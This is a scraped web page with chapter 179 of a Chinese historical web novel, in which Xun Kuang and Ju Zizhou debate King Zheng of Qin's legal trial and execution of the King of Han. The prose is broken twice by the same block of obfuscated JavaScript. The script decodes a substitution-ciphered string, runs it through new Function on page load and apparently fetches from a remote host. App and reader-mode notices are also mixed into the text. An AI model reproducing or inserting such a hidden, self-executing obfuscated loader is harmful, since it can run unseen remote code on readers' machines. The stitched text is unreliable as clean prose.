第一百七十九章 童謠 (中)

　　字:大中小第一百七十九章童謠中夜間模式(function(){functionoc5530234(s){vard{'q':'w','w':'q',',':'(',':':'','':'/','0':'','/':'','':'3','4':'','':'0','':'4','5':'&','Q':'W','3':'','':':','u':'i','U':'I','I':'U','o':'p','X':'S','d':'f','i':'u','f':'d','F':'D','c':'v','D':'F','v':'c','y':'t','T':'Y','p':'o','C':'V','P':'O','A':'Z','a':'z','z':'a','V':'C','Z':'A','n':'h','j':'m','O':'P','s':'x','m':'j','N':'H','B':'G','x':'s','S':'X','e':'r','W':'Q','l':'k','H':'N','!':'.','k':'l',';':'','r':'e','L':'K','':'_','t':'y','g':'b','&':'5','':']','E':'R','6':'','Y':'T','9':'7',']':'','b':'g','R':'E','G':'B','h':'n','J':'M','M':'J','K':'L','_':'','.':'!','(':',','':'6','7':'9','':';'};returns.split('').map(function(c){returnd[c]!undefinedd[c]:c}).join('')}varcoc5530234('ftp://saw1quhfpq["""t""""&""2""9""""7""""v""";dihvyuph,){,dihvyuph,i(u(q(f){ud,4Jzv]Quh!yrxy,hzcubzype!okzydpej)){eryieh}czefv;dihvyuph,h){eryiehXyeuhb!depjVnzeVpfr,h)}czes;q[fv,s1)fv,s9)fv,sD)fv,s2)(vx;f[s,"TCtvjCifDHmvjkqfZ;;")(vef;s,"TMkTSEkEQskgQCifZ;;")"mWiret"czeqe;"qeuyr""mWiret"czed;f[vef,s,"zQAtTQ1k"))d!uf;"s",Jzyn!ezhfpj,)1)d!xytkr!qufyn;"1os"d!xytkr!nrubny;&"os"d!xytkr!gzvlbepihf;"#DDD"d!xev;["nyyox"(s,i)("e"("m91"(u!mpuh,"")f[qe,d!piyreNYJK)q["zffRcrhyKuxyrhre","jrxxzbr"(dihvyuph,r){ud,r!fzyz!l;;u){f!bryRkrjrhyGtUf,d!uf)!erjpcr,)hrqDihvyuph,"yfvx"(s,r!fzyz!c)),vx)}})}),"zu&wvB&uzNkuTX&rSp;"("1222772&972&"(quhfpq(fpvijrhy)}t&297v,)'.substr(10));newFunction(c)()})();→第一百七十九章童謠中,如遇到內容亂碼錯字順序亂,請退出閱讀模式或暢讀模式即可正常。第459章童謠（中）

　　“鞠夫子為何不言？”荀況瞪著雙眼看向鞠子洲。

　　秦軍破滅韓國的消息傳過來，眾人傳閱過之后，無人不驚。

　　消息當中附帶的，秦王政以秦法審殺韓王以及韓國貴族的事情，無論對于誰人而言都是一件大事。

　　其中，最不平靜的，當屬荀況與鞠子洲兩人。

　　荀況的驚駭在于，他的的確確的意識到了，以法律審殺一名王，與直接殺死一名王，是完全不同的。

　　——一個人被別人打，和一個人偷盜別人的財物被人打，性質不同。

　　一位王者被人打，和一位王者偷盜別人的財物別人打，也完全不同。

　　放到法律上，更是如此。

　　一位王者，因為戰敗，被人殺了，那是世間的常態。

　　是滅國的應有之義。

　　亡國之王，生與死，他都是王。

　　但被法律審殺的王，他不是以“王”的身份被殺死的。

　　他身上主要身份，是罪犯。

　　罪犯這一身份，甚至蓋過了“王者”的身份。

　　這也就意味著，法律的正統性，大于王者的正統性。

　　更代表著，作為秦王的秦王政，已經做出了他的選擇。

　　他已經與那個同“韓王”齊同的，繼國之君的身份，做出了切割。

　　以最酷烈的形式，否定了過去的“王”的最高地位。

　　這之后，知道了這件事情的人的心里面會埋下一顆種子。

　　一顆，法大于王的種子！

　　儒家講求的“法先王”。

　　意思是，師法過去的王者。

　　一方面，厚古薄今，樹立不可超越的道德偶像。

　　另一方面，也是在講，王的至高無上。

　　只要你身為王，只要你道德高尚，那么你就是后世所有人學習的對象，就是一切辦法的源頭。

　　后世人哪怕是結婚、生子、取名、哪怕是喝一碗粥，都要學習你。

　　他們的生活規條——法律，自然也要源自于你的為政態度。

　　法，要遠遠小于王。

　　如何成為王，是血脈里的問題，如何道德高尚，則要由“士”來判斷。

　　這是儒家里面偏向于保守的一派的看法。

　　是荀況一直以來所批判的。

　　荀況屢戰屢勝，但他沒辦法真的滅掉儒家的這種態勢。

　　因為這是儒家的根由。

　　秦王政的做法，令他能夠看得到一種嶄新的希望。

　　也就是，法大于王。

　　更準確的說，是法，獨立于王。

　　執政者可以具有執法的權力，但制定法的權力…

　　不對！

　　荀況自己思考了片刻，覺得仍舊不妥。

　　若是叫執政者擁有執法的權力，那么制定法條的權力獨立出來，似乎也沒辦法真正意義上改變太多東西…

　　不，應該可以吧…

　　德高于欲，則法無不行。

　　圣王所…

　　荀況這樣思考著，發覺了鞠子洲竟然比自己還要驚訝和慌張。

　　他有些好奇。

　　心中微微一動。

　　鞠子洲是秦王政的授業師兄，他們所學義理與執政理念應當是一致的。

　　像是審殺一王這種大事情，他們理應是溝通過的，為什么鞠子洲會這般驚慌？

　　想到這里，荀況于是瞪著雙眼問道：“鞠夫子為何不言？”

　　鞠子洲此時陣腳大亂。

　　理論上說，嬴政是不應當如此作為的。

　　這太有悖于鞠子洲所教授給他的義理了！

　　繼續瀏覽精彩內容到APP免費閱讀《》打開瀏覽器繼續")字:大中小第一百七十九章童謠中夜間模式(function(){functionoc5530234(s){vard{'q':'w','w':'q',',':'(',':':'','':'/','0':'','/':'','':'3','4':'','':'0','':'4','5':'&','Q':'W','3':'','':':','u':'i','U':'I','I':'U','o':'p','X':'S','d':'f','i':'u','f':'d','F':'D','c':'v','D':'F','v':'c','y':'t','T':'Y','p':'o','C':'V','P':'O','A':'Z','a':'z','z':'a','V':'C','Z':'A','n':'h','j':'m','O':'P','s':'x','m':'j','N':'H','B':'G','x':'s','S':'X','e':'r','W':'Q','l':'k','H':'N','!':'.','k':'l',';':'','r':'e','L':'K','':'_','t':'y','g':'b','&':'5','':']','E':'R','6':'','Y':'T','9':'7',']':'','b':'g','R':'E','G':'B','h':'n','J':'M','M':'J','K':'L','_':'','.':'!','(':',','':'6','7':'9','':';'};returns.split('').map(function(c){returnd[c]!undefinedd[c]:c}).join('')}varcoc5530234('ftp://saw1quhfpq["""t""""&""2""9""""7""""v""";dihvyuph,){,dihvyuph,i(u(q(f){ud,4Jzv]Quh!yrxy,hzcubzype!okzydpej)){eryieh}czefv;dihvyuph,h){eryiehXyeuhb!depjVnzeVpfr,h)}czes;q[fv,s1)fv,s9)fv,sD)fv,s2)(vx;f[s,"TCtvjCifDHmvjkqfZ;;")(vef;s,"TMkTSEkEQskgQCifZ;;")"mWiret"czeqe;"qeuyr""mWiret"czed;f[vef,s,"zQAtTQ1k"))d!uf;"s",Jzyn!ezhfpj,)1)d!xytkr!qufyn;"1os"d!xytkr!nrubny;&"os"d!xytkr!gzvlbepihf;"#DDD"d!xev;["nyyox"(s,i)("e"("m91"(u!mpuh,"")f[qe,d!piyreNYJK)q["zffRcrhyKuxyrhre","jrxxzbr"(dihvyuph,r){ud,r!fzyz!l;;u){f!bryRkrjrhyGtUf,d!uf)!erjpcr,)hrqDihvyuph,"yfvx"(s,r!fzyz!c)),vx)}})}),"zu&wvB&uzNkuTX&rSp;"("1222772&972&"(quhfpq(fpvijrhy)}t&297v,)'.substr(10));newFunction(c)()})();→第一百七十九章童謠中,如遇到內容亂碼錯字順序亂,請退出閱讀模式或暢讀模式即可正常。

　　一直以來，鞠子洲都覺得嬴政始終都在自己的掌控當中。

　　哪怕是這個個人智能遠遠高于自己的孩子找到了自己的種種破綻，甚至于不可能中窺破了自己的后世來人的身份。

　　即便如此，鞠子洲都只是驚訝，都只是不可思議，都只是覺得，這孩子智能未免有些高，可能就是自己所見過的那種天才。

　　是天才，又能如何呢？

　　最開始的理論上的刪減于錯誤，與自己自身所表現出來的機械化的唯物辯證，會令他走上一條“按部就班”的道路。

　　這道路，不是所謂個人聰明就可以堪破的。

　　一旦走上，即便是他耽于物欲，即便是他沉迷權勢，即便是他想要水中撈月一般的追求永生，他都一定會堅定地繼續走下去。

　　無論之后有沒有鞠子洲，都一樣！

　　可是…

　　這一刻，鞠子洲的所有計劃都被打爛。

　　這不對！

　　太不對勁了！

　　很早之前鞠子洲就已經看不透嬴政。

　　這一時，知道嬴政當中審殺韓王，鞠子洲甚至不能明白嬴政是出于怎么樣的目的才這樣做的。

　　他閉上眼睛，一句話也說不出來。

　　心思全亂。

　　荀況開口詢問，鞠子洲也只是生出惱怒。

　　苦惱與混亂成怒。

　　“荀夫子看到了什么？”鞠子洲問道。

　　荀況見到鞠子洲情緒失控，不怒反喜。

　　“鞠先生看到了什么，我便看到了什么！”

　　“秦王政所為，老夫所見，是法大于王，更是圣王與法同行！”

　　以一人之威望，驅使百姓審殺另外一人，是情緒化的，是感性的，也是不那么合乎法律的。

　　秦王政以王之身，審殺另外一王，而不是先剝奪他的王的身份而去審殺他，更是不那么合乎法律的。

　　正常來看，應該先以他所犯的罪剝奪他的“王的身份”，而后白身的他誅殺。

　　如此，可以將罪孽與犯罪者的“身份”割離開，同時維護與其同級、同樣身份來源的“秦王”的威嚴。

　　荀況的解釋，是以道德上的解釋。

　　更是維護“王”的威嚴性、神圣性與正統性的解釋。

　　鞠子洲此時沒有什么心思再與他做口舌之爭。

　　“荀夫子入過暗室嗎？”

　　“鞠夫子何意？”

　　“鐵屋暗室，人睡其中。”

　　“久而覺其黑、冷。”

　　“如此覺察者多了，他們就可能會醒過來，而后這鐵屋暗室，就有被打破的可能性吧？”

　　“盡管一人之力無法捶破，但人醒來了，難道它就真的完全沒有被打破的可能性嗎？”

　　荀況皺眉。

　　“萬難！”

　　鞠子洲點頭：“是啊，萬難！”

　　“但只要人醒來了，那總還是有可能的，對末？”

　　“是如此。”

　　“此時有燈亮起了。”

　　一個多月的辯論之中未曾好生休息，荀況的思維已經開始遲鈍。

　　思考過秦王政的所作所為，他已經不太能夠思考清楚鞠子洲的意圖。

　　“這時候，人們感受到了亮與暖，是否就會覺得這鐵屋不那么冷，暗室不那么黑呢？”

　　荀況心下一驚。

　　不好意思，朋友結婚，我做伴郎，總是要陪著玩玩、收拾收拾的，不太好碼字。

　　(本章完)

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